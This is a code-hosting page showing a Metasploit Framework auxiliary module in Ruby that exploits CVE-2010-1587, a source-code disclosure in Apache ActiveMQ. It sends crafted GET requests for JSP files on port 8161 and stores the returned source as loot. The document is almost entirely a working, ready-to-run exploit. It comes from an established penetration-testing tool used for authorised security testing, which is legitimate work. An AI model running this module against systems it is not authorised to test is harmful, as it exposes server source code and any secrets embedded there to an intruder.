Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Apache ActiveMQ JSP Files Source Disclosure',
16
'Description' => %q{
17
This module exploits a source code disclosure in Apache ActiveMQ. The
18
vulnerability is due to the Jetty's ResourceHandler handling of specially crafted
19
URI's starting with //. It has been tested successfully on Apache ActiveMQ 5.3.1
20
over Windows 2003 SP2 and Ubuntu 10.04.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Veerendra G.G', # Vulnerability discovery
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
[ 'CVE', '2010-1587' ],
29
[ 'OSVDB', '64020' ],
30
[ 'BID', '39636' ],
31
[ 'URL', 'https://issues.apache.org/jira/browse/AMQ-2700' ]
32
],
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(8161),
44
OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp'])
45
]
46
)
47
end
48
49
def run_host(ip)
50
print_status("#{rhost}:#{rport} - Sending request...")
51
uri = normalize_uri(target_uri.path)
52
res = send_request_cgi({
53
'uri' => uri,
54
'method' => 'GET',
55
})
56
57
if res and res.code == 200
58
contents = res.body
59
fname = File.basename(datastore['TARGETURI'])
60
path = store_loot(
61
'apache.activemq',
62
'text/plain',
63
ip,
64
contents,
65
fname
66
)
67
print_status("#{rhost}:#{rport} - File saved in: #{path}")
68
else
69
print_error("#{rhost}:#{rport} - Failed to retrieve file")
70
return
71
end
72
end
73
end
74
75